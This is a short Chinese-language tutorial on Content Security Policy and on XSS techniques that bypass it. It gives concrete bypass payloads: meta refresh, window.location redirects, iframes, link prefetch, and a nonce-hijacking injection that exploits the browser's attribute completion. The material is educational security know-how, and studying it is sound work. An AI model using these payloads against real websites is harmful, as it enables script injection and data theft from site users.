CSP
CSP,内容安全策略,主要功能是对网站加载或执行的资源进行安全策略的控制。它的实质就是白名单制度,它规定哪些外部资源可以加载和执行。它的实现和执行全部由浏览器完成。资源加载通过”script-src“、”style-src”等选项来限制外部资源的加载。”script-src”限制外部脚本的加载,strict-dynamic特性允许将信任关系传递给由受信任的script动态生成的脚本,忽略了script-src的白名单,使得之后生成的脚本可以执行。
XSS绕过
default-src ‘none’策略绕过
可以使用mata标签<meta http-equiv="refresh" content="2;url=https://127.0.0.1">
script-src ‘unsafe-inline’策略绕过
可以使用window.location绕过<script>window.location="https://127.0.0.1/3/1.html";</script>
实际上scrpit的内容都能被执行,该策略几乎就是形同虚设。
xxxx-src ‘*’绕过
*号可以允许匹配任何URL请求,假设一组csp策略为
1 | Content-Security-Policy: default-src 'none'; connect-src 'self'; frame-src *; script-src http://xxxxx/js/ 'nonce-xxx';font-src http://xxxx/fonts/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self' |
可以看到iframe的来源没有做任何限制,这里可以用iframe来进行绕过<iframe src="https://127.0.0.1"></iframe>
xxx-src ‘self’绕过
可用link标签预加载绕过<link rel="prefetch" href="https://127.0.0.1">
nonce绕过
若csp指定了nonce,某些情况可以利用浏览器补全的特性来绕过
假设一个插入点的情况如下
1 | <p>插入点</p> |
可以输入<script src=1 onerror="alert(1)" a="
由于浏览器的补全特性,实际就会被拼接成
1 | <p><script src=1 onerror="alert(1)" a="</p><script id="aa" nonce="123">document.write('CSP')</script> |
a=”与id=”之间的部分将会失效,这样一来就劫持了原script标签的nonce属性